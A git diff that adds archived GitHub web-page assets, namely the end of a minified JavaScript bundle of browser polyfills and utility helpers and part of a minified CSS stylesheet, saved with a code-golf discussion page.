n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s 